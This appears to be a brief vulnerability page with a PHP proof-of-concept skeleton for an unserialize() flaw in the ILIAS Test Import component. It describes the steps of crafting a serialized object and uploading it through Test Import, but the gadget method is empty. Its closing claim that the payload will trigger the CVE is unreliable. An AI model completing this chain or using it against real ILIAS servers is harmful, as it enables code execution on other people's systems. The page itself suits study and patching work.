CVE-2025-11345：ILIAS Test Import组件反序列化漏洞

<?php // CVE-2025-11345 - ILIAS Test Import Deserialization PoC // This PoC demonstrates the concept of exploiting the unserialize() vulnerability // in ILIAS Test Import component. // Step 1: Craft a malicious serialized payload // The payload targets PHP magic methods to achieve code execution class ExploitChain { // Example gadget chain - actual exploitation requires identifying // available classes in the target ILIAS installation private $command; public function __construct($cmd) { $this->command = $cmd; } // __destruct is triggered during unserialization cleanup public function __destruct() { // This is where the malicious action would occur // In real exploitation, this would leverage existing ILIAS classes // to execute system commands or read/write files } } // Step 2: Serialize the malicious object $payload = serialize(new ExploitChain("id")); // Step 3: The serialized payload would be embedded in a test import file // (e.g., XML or QTI format used by ILIAS Test Import) // and uploaded through the Test Import functionality // Step 4: When ILIAS processes the import, unserialize() is called // on the user-controlled data, triggering the exploit chain $decoded = unserialize($payload); echo "PoC payload generated: " . $payload . "\n"; echo "Upload this payload via ILIAS Test Import to trigger CVE-2025-11345\n"; ?>
